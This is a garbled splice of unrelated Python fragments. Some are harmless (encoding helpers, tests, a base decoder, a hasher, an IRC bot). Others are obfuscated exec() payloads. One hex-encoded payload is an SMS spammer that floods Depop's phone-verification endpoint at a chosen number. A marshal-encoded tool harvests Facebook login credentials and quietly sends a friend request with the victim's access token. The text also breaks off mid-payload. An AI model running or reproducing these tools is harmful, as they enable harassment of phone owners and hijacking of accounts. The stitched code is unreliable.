7866615C7865325C7862625C7863655C7865385C786439785C786561455C786634787A745C7831305C7862615C7866307A5C7831305C7862395C7865335C786664285C7831615C7865665C7831665C7865635C7831665C7839315C7830335C7862323F5C7863365C7862305C7866315C783938285C7830325C7863655C7866615C7861645C7864653B3E5C7863315C7838665C7865645C7831655C7839615C7839634D5C7830375C7863305C7861615C7864612E5C7861305C7831612F5C7865305C7831335C7831365C7864625C7839355C7831335C7838305C7861635C7864645C786130635C7865615C783165575C7830305C7864355C783835555C7830665C7866395C786133225C7839374E5C7838315C7830665C7865335C7831365C783938283D5C7830335C7831336B5C7864665C7863306C635C7863365C74785C7863375C7862655C7864373B5C786230645C7830345C7839635F5C78623460675C7838345C7837665C7830372F2C5C7866645C7865615C7862375C7831305C7830375C783161465C7830625C7861375C7866315C7861315C7838395C7838655C786135535C7865345C786661475C7831335C7830625C786332435C7837665C7831335C7837665C7865395C7863635C7865393266335C783830755C783133375C7864617D355C7864336F5C7831385C7864385C7866305C745C7866395D5C7831335C6E5C7839315C7865385C7864655C7862645C783836605C7866306E5C7831375C7866315C7838352E5C783063547C5C7861315C7863325C7863395C7865375C7862393E5C745C786531375C7866355C783032425C7864365C7830325C783031764E5C783034495C7861355C7861665C783935685C7839395F7D5C7866645C7865335C7838635C7861335C783766265C7839305C783936705C7831345D2A3D5C725C7863305C7838615C7864625C7862355C7830315C7865625C7861615C786665555C275C7839665C7863652C5C7862395C7864645C7862632D5C7863635C7865364A62553E5C7862665C78646574455C7864635C786236385C786561425A4E5C7864342D5C7863345C7865375C7865635C7866335C7864325C726F5C7864635C7865375C7863375C7865335C78623469685C7864315C7864355C7866615C7864615C7838336A5C786661515C7864615C786538535C7838645C7839383F5C7862385E5C783935425C7866665C7839345C7831325C7866665C7861305C7861625C7866655C7863665C7865355C786665415C7862645C7838665C783032745C7861665C78616373255C7862375C7838655C7831365C7865645C7865305C78623641655C7863345C786463605C786161613B485C7865355C7830635C7864665C7864365C7865635C786564235C7838375E5C7838645C7831375C7866305C7830365C7862395C7838325C7830385C7838615C7865365C7831345C7861655E5C5C5C7839335C783965345C275C786230614F5C7862375C7839315F5C7862335C7861635C786533405C7838665C78613651285C7861375C7864615C7864365C7862365C7864345C7861335C783132575C7831305C7864635C7861625C7839615C783862395C78393368615C7865655C7838645C7837665C7839635C7830355C7862643E78285C7830385C78663425345C7830385C7861305C7861335C745C7830305C7861395C7861305C7866645C7830655C7861615C7863365C7861365C7865615C7838635C7866665C783062395C786337325C786664285C7830325C7830305C7830305C783030745C7830345C7830305C7830305C7830307A6C6962745C6E5C7830305C7830305C7830306465636F6D7072657373285C7830305C7830305C7830305C783030285C7830305C7830305C7830305C783030285C7830305C7830305C7830305C783030735C7830345C7830305C7830305C7830305C7831625B306D745C7830385C7830305C7830305C7830303C6D6F64756C653E5C7830345C7830305C7830305C783030735C7830325C7830305C7830305C7830305C7830635C783031272929'))
import base64 exec( base64.b16decode( '0D0A696D706F7274206F732C7379732C74696D652C72652C72657175657374732C6A736F6E0D0A66726F6D20726571756573747320696D706F727420706F73740D0A66726F6D2074696D6520696D706F727420736C6565700D0A646566206465706F7028293A0D0A2020202075613D7B0D0A2020202022486F7374223A20227765626170692E6465706F702E636F6D222C0D0A2020202022616363657074223A20226170706C69636174696F6E2F6A736F6E2C20746578742F706C61696E2C202A2F2A222C0D0A2020202022557365722D4167656E74223A20224D6F7A696C6C612F352E3020284C696E75783B20416E64726F69642031303B20534D2D413130374629204170706C655765624B69742F3533372E333620284B48544D4C2C206C696B65204765636B6F29204368726F6D652F38332E302E343130332E313031204D6F62696C65205361666172692F3533372E3336222C0D0A2020202022436F6E74656E742D54797065223A20226170706C69636174696F6E2F6A736F6E222C0D0A20202020224163636570742D456E636F64696E67223A2022677A69702C206465666C6174652C206272222C0D0A20202020224163636570742D4C616E6775616765223A202269642D49442C69643B713D302E392C656E2D55533B713D302E382C656E3B713D302E37222C0D0A202020207D0D0A202020206461743D6A736F6E2E64756D7073287B2270686F6E655F6E756D626572223A6E6F2C22636F756E7472795F636F6465223A224944227D290D0A2020202072203D2072657175657374732E707574282268747470733A2F2F7765626170692E6465706F702E636F6D2F6170692F617574682F76312F7665726966792F70686F6E65222C20646174613D6461742C20686561646572733D7561290D0A646566206465706F703228293A0D0A2020202075613D7B0D0A2020202022486F7374223A20227765626170692E6465706F702E636F6D222C0D0A2020202022616363657074223A20226170706C69636174696F6E2F6A736F6E2C20746578742F706C61696E2C202A2F2A222C0D0A2020202022557365722D4167656E74223A20224D6F7A696C6C612F352E3020284C696E75783B20416E64726F69642031303B20534D2D413130374629204170706C655765624B69742F3533372E333620284B48544D4C2C206C696B65204765636B6F29204368726F6D652F38332E302E343130332E313031204D6F62696C65205361666172692F3533372E3336222C0D0A2020202022436F6E74656E742D54797065223A20226170706C69636174696F6E2F6A736F6E222C0D0A20202020224163636570742D456E636F64696E67223A2022677A69702C206465666C6174652C206272222C0D0A20202020224163636570742D4C616E6775616765223A202269642D49442C69643B713D302E392C656E2D55533B713D302E382C656E3B713D302E37222C0D0A202020207D0D0A202020206461743D6A736F6E2E64756D7073287B2270686F6E655F6E756D626572223A6E6F2C22636F756E7472795F636F6465223A224944227D290D0A2020202072203D2072657175657374732E707574282268747470733A2F2F7765626170692E6465706F702E636F6D2F6170692F617574682F76312F7665726966792F70686F6E65222C20646174613D6461742C20686561646572733D7561290D0A646566206465706F703328293A0D0A2020202075613D7B0D0A2020202022486F7374223A20227765626170692E6465706F702E636F6D222C0D0A2020202022616363657074223A20226170706C69636174696F6E2F6A736F6E2C20746578742F706C61696E2C202A2F2A222C0D0A2020202022557365722D4167656E74223A20224D6F7A696C6C612F352E3020284C696E75783B20416E64726F69642031303B20534D2D413130374629204170706C655765624B69742F3533372E333620284B48544D4C2C206C696B65204765636B6F29204368726F6D652F38332E302E343130332E313031204D6F62696C65205361666172692F3533372E3336222C0D0A2020202022436F6E74656E742D54797065223A20226170706C69636174696F6E2F6A736F6E222C0D0A20202020224163636570742D456E636F64696E67223A2022677A69702C206465666C6174652C206272222C0D0A20202020224163636570742D4C616E6775616765223A202269642D49442C69643B713D302E392C656E2D55533B713D302E382C656E3B713D302E37222C0D0A202020207D0D0A202020206461743D6A736F6E2E64756D7073287B2270686F6E655F6E756D626572223A6E6F2C22636F756E7472795F636F6465223A224944227D290D0A2020202072203D2072657175657374732E707574282268747470733A2F2F7765626170692E6465706F702E636F6D2F6170692F617574682F76312F7665726966792F70686F6E65222C20646174613D6461742C20686561646572733D7561290D0A64656620696E74726F2873293A0D0A20202020666F72206320696E2073202B20225C6E223A0D0A20202020202020207379732E7374646F75742E77726974652863290D0A20202020202020207379732E7374646F75742E666C75736828290D0A202020202020202074696D652E736C65657028302E303032290D0A646566206B6174612873293A0D0A20202020666F72206320696E2073202B20225C6E223A0D0A20202020202020207379732E7374646F75742E77726974652863290D0A20202020202020207379732E7374646F75742E666C75736828290D0A202020202020202074696D652E736C65657028302E303032290D0A646566206B617461322873293A0D0A20202020666F72206320696E2073202B20225C6E223A0D0A20202020202020207379732E7374646F75742E77726974652863290D0A20202020202020207379732E7374646F75742E666C75736828290D0A202020202020202074696D652E736C65657028302E303032290D0A0D0A6F732E73797374656D2827636C65617227290D0A696E74726F282222225C3033335B313B33356DE29594E295A6E29597E29594E29590E29597E29594E29590E29597E295972020E29594E29590E2959720202020E29594E29590E29597E295A6E29590E29597E29594E29590E29597E29594E295A6E29597E29594E295A6E29597E29594E29590E29594E29590E295970D0A5C3033335B313B33356D20E2959120E2959120E29591E2959120E29591E295912020E2959AE29590E29597E29590E29590E29590E29590E2959AE29590E29597E295A0E29590E2959DE295A0E29590E295A3E29591E29591E29591E29591E29591E29591E295A0E29590E295A0E295A6E2959D0D0A5C3033335B313B33356D20E295A920E2959AE29590E2959DE2959AE29590E2959DE2959AE29590E2959DE29590E29590E2959D20202020E29590E29590E2959DE295A92020E295A920E295A9E295A920E295A9E295A920E295A9E2959AE29590E295A9E2959AE295905C3033335B313B33326D205630360D0A5C3033335B313B33306D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D0D0A5C3033335B313B33376D5B5C3033335B313B33326DE280A25C3033335B313B33376D5D20417574686F72205C3033335B313B33316D3A205C3033335B313B39366D4D522E43344E0D0A5C3033335B313B33376D5B5C3033335B313B33326DE280A25C3033335B313B33376D5D20596F75747562655C3033335B313B33316D3A205C3033335B313B39366D43414E4452412D4E4D0D0A5C3033335B313B33376D5B5C3033335B313B33326DE280A25C3033335B313B33376D5D204769746875625C3033335B313B33316D203A205C3033335B313B33326D68747470733A2F2F6769746875622E636F6D2F42344E3943344E0D0A5C3033335B313B33306D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D0D0A5C3033335B313B33376D5B5C3033335B313B33326D2B5C3033335B313B33376D5D5C3033335B313B33336D2053696D706C6520546F6F6C73205370616D6D657220536D7320546572626172750D0A5C3033335B313B33376D5B5C3033335B313B33326D2B5C3033335B313B33376D5D5C3033335B313B33336D204D6F6465205370616D6D657220536D73204465706F700D0A5C3033335B313B33376D5B5C3033335B313B33326D2B5C3033335B313B33376D5D5C3033335B313B33336D20436F6E746F68204E6F6D6F7220282B363238290D0A5C3033335B313B33306D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D222222290D0A74696D652E736C6565702831290D0A6E6F203D20696E70757428225C3033335B313B33376D5B5C3033335B313B33326DE280A25C3033335B313B33376D5D204E756D626572205C3033335B313B33316D3E3E5C3033335B313B33326D2022290D0A6B61746128225C3033335B313B33376D5B5C3033335B313B33326DE280A25C3033335B313B33376D5D204D6F686F6E2054756E67677520536562656E7461722E2E2E22290D0A6465706F7028290D0A6465706F703228290D0A6465706F703328290D0A6B6174613228225C3033335B313B33376D5B5C3033335B313B33326DE280A25C3033335B313B33376D5D205370616D6D657220536D73204465706F70205375636365732122290D0A74696D652E736C6565702832290D0A6F732E73797374656D2827707974686F6E20746F6F6C732D7370616D6D65722E707927290D0A0D0A0D0A0D0A0D0A0D0A0D0A' ))
def hex2bytes(hex_str: str) -> bytes: """Convert bytes to a hex string.""" hex_str = hex_str.upper().zfill(2 * ((len(hex_str) + 1) // 2)) return base64.b16decode(hex_str.encode('ascii'))
import json import ctypes import base64 from .test_vectors import jsonRPC, so, decode_base64 as d64, encode_base64 as e64 ''' These tests are aimed at edge cases of serverside deployment. As such, the main functions to test are decoding and verifying fulfillment payloads. ''' cc_rfb = lambda f: so.cc_readFulfillmentBinary(f, len(f)) cc_rcb = lambda f: so.cc_readConditionBinary(f, len(f)) unhex = lambda s: base64.b16decode(s.upper()) def test_decode_valid_fulfillment(): f = unhex( 'a42480206ee12ed43d7dce6fc0b2be20e6808380baafc03d400404bbf95165d7527b373a8100' ) assert cc_rfb(f) def test_decode_invalid_fulfillment(): # This fulfillment payload has an invalid type ID but is otherwise valid invalid_type_id = unhex( 'bf632480206ee12ed43d7dce6fc0b2be20e6808380baafc03d400404bbf95165d7527b373a8100' ) assert cc_rfb(invalid_type_id) == 0 assert cc_rfb('\0') == 0 assert cc_rfb('') == 0
def decode_base(self, encoded_base): def contains_replacement_char(res): """ `contains_replacement_char()` checks whether the decoded base contains an unknown unicode, ie: invalid character. these are replaced with 'replacement character', which is '�' and 'U+FFFD' in unicode and also checks for unicode chars after `127`. """ if u'\ufffd' in res: return True else: count = 0 for char in res: if ord(char) > 127: count += 1 return True if count > 0 else False # to store the encoding schemes which haven't caused errors encoding_type = [] # to store the decoded results which haven't caused errors results = [] def process_decode(decode_string, scheme): """ `process_decode()` stores the result if the encoding is valid after checks from `contains_replacement_char()` and prints the output if it isn't an API call """ if len(decode_string) < 3: return if not contains_replacement_char(decode_string): # don't repeat `base64url` when `base64` has already passed and it's not a URL if scheme == 'Base64' and '://' not in decode_string: self.b64_once = True if self.b64_once and (scheme == 'Base64URL'): return # append results to the respective lists encoding_type.append(scheme) results.append(decode_string) if not self.api_call: if self.image_mode_call: print(colored('\n[-] Attempting Base: ', 'yellow')+colored(self.current_iter_base, 'red')) print(colored('\n[>] Decoding as {}: '.format(scheme), 'blue')+colored(decode_string, 'green')) # checking if input is valid in length if len(encoded_base) > 3: # decoding as base16 try: process_decode( base64.b16decode(encoded_base, casefold=False).decode('utf-8', 'replace'), 'Base16' ) except: pass # decoding as base32 try: process_decode( base64.b32decode(encoded_base, casefold=False, map01=None).decode('utf-8', 'replace'), 'Base32' ) except: pass # decoding as base36 try: process_decode( base36.dumps(int(encoded_base)), 'Base36' ) except: pass # decoding as base58 try: process_decode( base58.b58decode(encoded_base.encode()).decode('utf-8', 'replace'), 'Base58' ) except: pass # decoding as base62 try: process_decode( base62.decodebytes(encoded_base).decode('utf-8', 'replace'), 'Base62' ) except: pass # decoding as base64 try: process_decode( base64.b64decode(encoded_base).decode('utf-8', 'replace'), 'Base64' ) except: pass # decoding as base64url try: process_decode( base64.urlsafe_b64decode(encoded_base + '=' * (4 - len(encoded_base) % 4)).decode('utf-8', 'replace'), 'Base64URL' ) except: pass # decoding as base85 try: process_decode( base64.b85decode(encoded_base).decode('utf-8', 'replace'), 'Base85' ) except: pass # decoding as ascii85 try: process_decode( base64.a85decode(encoded_base).decode('utf-8', 'replace'), 'Ascii85' ) except: pass # decoding as base91 try: process_decode( base91.decode(encoded_base).decode('utf-8', 'replace'), 'Base91' ) except: pass # decoding as base92 try: process_decode( base92.decode(encoded_base), 'Base92' ) except: pass if not results and not self.api_call: if not self.image_mode_call: print(colored('\n[!] Not a valid encoding.\n', 'red')) if self.quit_after_fail: quit() # print/return the results for x in range(len(results)): if not self.api_call: print(colored('\n[-] The Encoding Scheme Is ', 'blue')+colored(encoding_type[x], 'green')) # generating the wordlist/output file with the decoded base if self.output != None: open(self.output, 'a').write(results[x]+'\n') else: return results[x], encoding_type[x] if self.image_mode_call and results: print(colored('\n{{<<', 'red')+colored('='*70, 'yellow')+colored('>>}}', 'red'))
#Ngapain kesini om import base64 exec( base64.b16decode( "66726F6D2062616E6E657220696D706F72742062616E312C2062616E322C2062616E332C2062616E0A696D706F727420726571756573747320617320720A696D706F7274206A736F6E2C20776765742C2074696D652C206F732C207379730A0A61203D275C3033335B39326D270A62203D275C3033335B39316D270A63203D275C3033335B306D270A6F732E73797374656D2827636C65617227290A72756E203D20547275650A7072696E7428622B62616E290A646566207374616C6B28293A0A202020206F732E73797374656D2827636C65617227290A202020207072696E7428622B62616E31290A2020202075736572203D20696E70757428632B27757365726E616D65203A2027290A20202020726571203D20722E676574282768747470733A2F2F696E7374616772616D2E636F6D2F272B757365722B272F3F5F5F613D3127290A202020206E616D65203D207265712E6A736F6E28295B276772617068716C275D5B2775736572275D5B2766756C6C5F6E616D65275D0A2020202062696F203D207265712E6A736F6E28295B276772617068716C275D5B2775736572275D5B2762696F677261706879275D0A2020202075726C203D207265712E6A736F6E28295B276772617068716C275D5B2775736572275D5B2765787465726E616C5F75726C275D0A20202020706F7374203D207265712E6A736F6E28295B276772617068716C275D5B2775736572275D5B27656467655F6F776E65725F746F5F74696D656C696E655F6D65646961275D5B27636F756E74275D0A20202020666F6C7764203D207265712E6A736F6E28295B276772617068716C275D5B2775736572275D5B27656467655F666F6C6C6F7765645F6279275D5B27636F756E74275D0A20202020666F6C77203D207265712E6A736F6E28295B276772617068716C275D5B2775736572275D5B27656467655F666F6C6C6F77275D5B27636F756E74275D0A202020207072696E7428622B2727290A202020207072696E7428272B2B2B2B2B2B2B2B526573756C74732B2B2B2B2B2B2B2B27290A2020202074696D652E736C6565702831290A202020207072696E742028273E20757365726E616D65203A27202B75736572290A202020207072696E742028273E2046756C6C204E616D65203A272C206E616D65290A2020202074696D652E736C65657028302E32290A202020207072696E742028273E2042696F203A272C2062696F290A2020202074696D652E736C65657028302E32290A202020207072696E742028273E2057656273697465203A272C2075726C290A2020202074696D652E736C65657028302E32290A202020207072696E742028273E20546F74616C20506F7374203A272C20706F7374290A2020202074696D652E736C65657028302E32290A202020207072696E742028273E20466F6C6C6F776572203A272C20666F6C7764290A2020202074696D652E736C65657028302E32290A202020207072696E742028273E20466F6C6C6F77696E67203A272C20666F6C77290A0A6465662076696428293A0A202020206F732E73797374656D2827636C65617227290A202020207072696E7428622B62616E32290A20202020696E70203D20696E70757428632B27456E74657220506F7374204944203A2027290A202020206E616D65203D20696E7075742827536574204E616D65204173203A2027290A20202020726571203D20722E676574282768747470733A2F2F696E7374616772616D2E636F6D2F702F272B696E702B272F3F5F5F613D3127290A2020202075726C203D207265712E6A736F6E28295B276772617068716C275D5B2773686F7274636F64655F6D65646961275D5B27766964656F5F75726C275D0A2020202074696D652E736C6565702831290A202020207072696E7428622B27446F776E6C6F6164696E672E2E2E2E27290A20202020776765742E646F776E6C6F61642875726C2C20276F75747075742F766964656F2F272B6E616D652B272E6D703427290A202020207072696E74282727290A202020207072696E7428612B27537563636573205361766564204F6E206F75747075742F766964656F2F272B6E616D652B272E6D703427290A0A64656620696D6728293A0A202020206F732E73797374656D2827636C65617227290A202020207072696E7428622B62616E33290A20202020696E70203D20696E70757428632B27456E74657220506F7374204944203A2027290A202020206E616D65203D20696E7075742827536574204E616D65204173203A2027290A20202020726571203D20722E676574282768747470733A2F2F696E7374616772616D2E636F6D2F702F272B696E702B272F3F5F5F613D3127290A2020202075726C203D207265712E6A736F6E28295B276772617068716C275D5B2773686F7274636F64655F6D65646961275D5B27646973706C61795F75726C275D0A2020202074696D652E736C6565702831290A202020207072696E7428622B27446F776E6C6F6164696E672E2E2E2E27290A20202020776765742E646F776E6C6F61642875726C2C20276F75747075742F696D6167652F272B6E616D652B272E6A706727290A202020207072696E74282727290A202020207072696E7428612B27537563636573205361766564204F6E206F75747075742F696D6167652F272B6E616D652B272E6A706727290A0A7768696C652072756E3A0A20202020696E70203D20696E70757428632B2243686F696365203A2022290A20202020696620696E70203D3D202731273A0A20202020202020207374616C6B28290A202020202020202072756E203D2046616C73650A0A20202020696620696E70203D3D202732273A0A202020202020202076696428290A202020202020202072756E203D2046616C73650A202020200A20202020696620696E70203D3D202733273A0A2020202020202020696D6728290A202020202020202072756E203D2046616C73650A0A20202020696620696E70203D3D202734273A0A20202020097072696E7428275468616E6B73207375646168206D656E6767756E616B616E20746F6F6C7320696E6927290A202020202020207072696E74282765786974696E672E2E2E27290A2020202020202072756E203D2046616C7365" ))
def to_bytes(self) -> bytes: """ Converts from the element to the representation of bytes by first going through hex. This is preferable to directly accessing `elem`, whose representation might change. """ return b16decode(self.to_hex())
def ripemd(outputformat, importx, inputformat, raw, infilepath, outfilepath): if importx == 'file': f = open(infilepath, 'r') raw = f.read() f.close() elif importx == 'print': raw = raw else: print('\033[1;31m[-]\033[0m Unknown error.') return False inp = raw if inputformat == 'base64': iput = base64.b64decode(inp) elif inputformat == 'raw': iput = inp elif inputformat == 'base32': iput = base64.b32decode(inp) elif inputformat == 'base16': iput = base64.b16decode(inp) elif inputformat == 'base58': iput = base58.b58decode(inp) elif inputformat == 'base85': print('\033[1;31m[-]\033[0m Option not available yet') elif inputformat == 'hex': iput = inp.decode('hex') elif inputformat == 'dec': print('\033[1;31m[-]\033[0m Option not available yet') elif inputformat == 'octal': print('\033[1;31m[-]\033[0m Option not available yet') elif inputformat == 'binary': iput = text_from_bits(inp) else: print('\033[1;31m[-]\033[0m Unknown error.') return False ripehasher.update(iput) out = ripehasher.digest() if outputformat == 'base64': output = base64.b64encode(out) elif outputformat == 'raw': output = out elif outputformat == 'base32': output = base64.b32encode(out) elif outputformat == 'base16': output = base64.b16encode(out) elif outputformat == 'base58': output = base58.b58encode(out) elif outputformat == 'base85': print('\033[1;31m[-]\033[0m Option not available yet') elif outputformat == 'hex': output = out.encode('hex') elif outputformat == 'dec': print('\033[1;31m[-]\033[0m Option not available yet') elif outputformat == 'octal': print('\033[1;31m[-]\033[0m Option not available yet') elif outputformat == 'binary': output = text_to_bits(out) else: print('\033[1;31m[-]\033[0m Unknown error.') return False if importx == 'file': filename = open(outfilepath, 'w') filename.write(output) filename.close() return True elif importx == 'print': return output else: print('\033[1;31m[-]\033[0m Unknown error.') return False
def on_pubmsg(self, c, e): nick = e.source.nick message = e.arguments[0] binary_prefix = self.nickname + ": binary " ascii_prefix = self.nickname + ": push " if message.startswith(binary_prefix): message = message[len(binary_prefix):].strip().upper() try: message = base64.b16decode(message) except binascii.Error: logger.info("Refused binary from nick %s: invalid b16", nick) self.broadcast("Invalid b16 data") return elif message.startswith(ascii_prefix): message = message[len(ascii_prefix):].strip() try: message = message.encode("ascii") if not util.is_printable(message): raise ValueError except (UnicodeEncodeError, ValueError): logger.info("Refused push from nick %s: non-ascii", nick) self.broadcast( "Non ascii characters: consider using binary mode.") return else: return assert isinstance(message, bytes) if not (1 <= len(message) <= 149): logger.info("Refused push request from nick %s: bad length %s", nick, len(message)) self.broadcast("Push refused: bad message length") return row = { "source": "irc", "imei": None, "momsn": None, "transmitted": datetime.utcnow(), "latitude": None, "longitude": None, "latlng_cep": None, "data": message } def cb(state, channels): logger.debug("push callback fired: %r %r", state, channels) if hasattr(cb, "once"): # this is not an error logger.debug("CB: second call") return cb.once = True if state != "ok": logger.error("Whois for %s failed", nick) self.broadcast("Failed to whois {}".format(nick)) try: self.whois_callbacks.get(nick, []).remove(cb) except ValueError: logger.error("in whois timeout, failed to remove whois cb") else: logger.debug("in whois timeout, removed whois cb") return accept = {"+" + self.channel, "@" + self.channel} authed = bool(channels & accept) if not authed: logger.info("Auth failure: %s, %r", nick, channels) self.broadcast("{}: you need voice or op".format(nick)) return logger.info("Push %s %s", nick, util.plain_or_hex(message)) self.broadcast("{}: enqueued".format(nick)) with database.connect() as conn: database.insert(conn, row) self.whois_callbacks.setdefault(nick, []).append(cb) self.connection.execute_delayed(10, lambda: cb("timeout", None)) c.whois([nick])
###################################### # Thank You Allah Swt.. # # Thanks My Team : Black Coder Crush # # Thnks You All My Friends me. # # Thanks All Member BCC : # # Leader : M.Daffa # # CO Founder : Mr.Tr3v!0n # # CO Leader : Akin # # CO : Holilul Anwar # # Zumbailee,Febry, Bima, Accil, Alfa # # Ardi Bordir Raka, Wahyu Andika. # # Mr.OO3T, Yulia Febriana, Sadboy, # # Cyto Xploit, Sazxt, Minewizard, # # Riki, Omest # ###################################### import marshal, base64 exec( marshal.loads( base64.b16decode( "630000000000000000040000004000000073170200006400006401006C00005A00006400006401006C01005A01006400006401006C02005A02006400006401006C03005A03006400006401006C04005A04006400006401006C05005A05006400006401006C06005A06006400006401006C07005A07006400006401006C08005A08006400006401006C09005A09006400006401006C0A005A0A006400006401006C0B005A0B006400006401006C0C005A0C006400006402006C0D006D0E005A0E00016400006403006C0F006D10005A1000016400006404006C0C006D11005A110001651200650100830100016501006A130064050083010001650C006A11008300005A14006514006A1500651600830100016514006A1700650C006A18006A1900830000640600640700830101016418006701006514005F1A00640A008400005A1B00640B008400005A1C00640C008400005A1D006500006A1E00640D0083010001640E008400005A1F00640F005A20006700005A21006700005A22006700005A23006700005A24006700005A25006700005A26006700005A27006700005A28006700005A29006700005A2A006700005A2B006700005A2C006700005A2D006700005A2E006700005A2F006700005A30006700005A31006410005A32006411005A33006412008400005A34006413008400005A35006414008400005A36006415008400005A37006538006416008401005A3900653A006417006B0200721302653400830000016E000064010053281900000069FFFFFFFF4E2801000000740A000000546872656164506F6F6C2801000000740F000000436F6E6E656374696F6E4572726F722801000000740700000042726F7773657274040000007574663874080000006D61785F74696D656901000000730A000000557365722D4167656E7473520000004F706572612F392E38302028416E64726F69643B204F70657261204D696E692F33322E302E323235342F38352E20553B206964292050726573746F2F322E31322E3432332056657273696F6E2F31322E31366300000000000000000100000043000000731600000064010047487400006A01006A0200830000016400005328020000004E73160000000A1B5B33393B316D205468616E6B20596F75202A5F2A280300000074020000006F7374030000007379737404000000657869742800000000280000000028000000007302000000646774060000006B656C7561720E0000007304000000000105016300000000000000000200000043000000733200000064010047487400006A0100640200830100016403004748640400474864010047487400006A02006A0300830000016400005328050000004E7401000000207405000000636C656172734A0000000A1B5B313B33396D5B1B5B33313B316D211B5B33393B316D5D201B5B33313B316D4B6F6E656B7369205465727075747573201B5B313B33396D5B1B5B33313B316D211B5B33393B316D5D73650000001B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D1B5B33323B316D53696C61686B616E20506572696B7361204B656D62616C69204B6F6E656B736920496E7465726E657420416E64611B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D28040000005205000000740600000073797374656D520600000052070000002800000000280000000028000000007302000000646774030000006F747712000000730C000000000105010D0105010501050163010000000200000003000000430000007343000000783C007C000064010017445D30007D01007400006A01006A02007C0100830100017400006A01006A0300830000017404006A050064020083010001710B00576400005328030000004E73010000000A677B14AE47E17A843F2806000000520600000074060000007374646F7574740500000077726974657405000000666C757368740400000074696D657405000000736C656570280200000074010000007A740100000065280000000028000000007302000000646774050000006A616C616E1A00000073080000000001110110010D01730C0000007368206E61726765742E73686300000000020000000600000043000000734F0000006401006402006403006404006405006406006706007D00007830007C0000445D28007D01006407007C010017477400006A01006A0200830000017403006A040064080083010001711F00576400005328090000004E73040000002E20202073040000002E2E202073040000002E2E2E2073050000002E2E2E2E2073050000002E2E2E2E2E73060000002E2E2E2E2E2E73330000000D1B5B33393B316D5B1B5B33323B316D2B1B5B33393B316D5D1B5B33323B316D536564616E67204C6F67696E1B5B33393B316D690100000028050000005206000000520D000000520F0000005210000000521100000028020000007405000000746974696B74010000006F2800000000280000000073020000006467740300000074696B23000000730A000000000218010D0108010D016900000000730D0000001B5B33316D4E6F742056756C6E73090000001B5B33326D56756C6E63000000000B000000060000004300000073170300007400006A010064010083010001791A007402006402006403008302007D000074030083000001576EE902047404007405006602006B0A007212030101017400006A0100640100830100017400006A0100640400830100017400006A01006405008301000164060047487406006407008301007D0100640800474864060047487406006409008301007D020064080047486406004748740700830000017911007408006A0200640A0083010001576E2D00047409006A0A006B0A0072DC00010101640B004748740B006A0C00640C0083010001740D00830000016E010058740E007408006A0F005F10007408006A1100640D00640E00830001017C01007408006A1200640F003C7C02007408006A12006410003C7408006A1300830000017408006A14008300007D03006411007C03006B0600729602793D016412007C010017641300177C020017641400177D0400690B0064150064160036641700641800367C0100640F0036641900641A0036641B00641C0036641B00641D0036641E00641F0036642000642100367C02006417003664220064230036642400642500367D05007415006A16006426008301007D06007C06006A17007C0400830100017C06006A18008300007D07007C05006A17006901007C070064270036830100016428007D03007419006A1A007C03006429007C05008301017D0800741B006A1C007C08006A1D008301007D0900740200640200642A008302007D0A007C0A006A1E007C0900642B0019830100017C0A006A1F0083000001640B004748642C004748642D00474864080047487419006A2000642E007C0900642B00191783010001740B006A0C00642F00830100017403008300000157719602047419006A21006A22006B0A00729202010101740D0083000001719602586E00006430007C03006B060072DA02640B0047486431004748643200474864310047487400006A010064330083010001740B006A0C00640C008301000174230083000001711303640B004748642C004748643400474864080047487400006A010064330083010001740B006A0C0064350083010001742400830000016E0100586400005328360000004E520A00000073090000006C6F67696E2E747874740100000072730C0000007368206E61726765742E736873070000007368206F2E736873370000000000001B5B33343B316DE29594E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E2959773480000001B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D1B5B313B33356D476D61696C1B5B33313B316D2F1B5B33353B316D4E6F6D6F721B5B313B39316D3A1B5B313B33396D2073370000000000001B5B33343B316DE2959AE29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E2959D733A0000001B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D1B5B313B33356D50617373776F72642046421B5B313B39316D3A1B5B313B33396D20731600000068747470733A2F2F6D2E66616365626F6F6B2E636F6D73380000000A0000001B5B33343B316DE2959AE29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E2959D690100000074020000006E7269000000007405000000656D61696C740400000070617373730B000000736176652D64657669636573470000006170695F6B65793D383832613834393033363164613938373032626639376130323164646331346463726564656E7469616C735F747970653D70617373776F7264656D61696C3D7360000000666F726D61743D4A534F4E67656E65726174655F6D616368696E655F69643D3167656E65726174655F73657373696F6E5F636F6F6B6965733D316C6F63616C653D656E5F55536D6574686F643D617574682E6C6F67696E70617373776F72643D733B00000072657475726E5F73736C5F7265736F75726365733D30763D312E3036326638636539663734623132663834633132336363323334333761346133327420000000383832613834393033363164613938373032626639376130323164646331346474070000006170695F6B6579740800000070617373776F7264741000000063726564656E7469616C735F7479706574040000004A534F4E7406000000666F726D6174740100000031741300000067656E65726174655F6D616368696E655F6964741800000067656E65726174655F73657373696F6E5F636F6F6B6965737405000000656E5F555374060000006C6F63616C65730A000000617574682E6C6F67696E74060000006D6574686F64740100000030741400000072657475726E5F73736C5F7265736F75726365737303000000312E3074010000007674030000006D64357403000000736967732700000068747470733A2F2F6170692E66616365626F6F6B2E636F6D2F726573747365727665722E7068707406000000706172616D73740100000077740C0000006163636573735F746F6B656E73380000000A0000001B5B33343B316DE29594E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29590E29597732E0000001B5B313B33396D5B1B5B313B33326DE29C931B5B313B33396D5D201B5B313B39326D4C6F67696E20537563657373734D00000068747470733A2F2F67726170682E66616365626F6F6B2E636F6D2F6D652F667269656E64733F6D6574686F643D706F737426756964733D6777696D75736133266163636573735F746F6B656E3D6902000000740A000000636865636B706F696E74520900000073470000000A1B5B33393B316D5B1B5B33313B316D211B5B33393B316D5D1B5B33333B316D536570657274696E796120416B756E20466220416E64612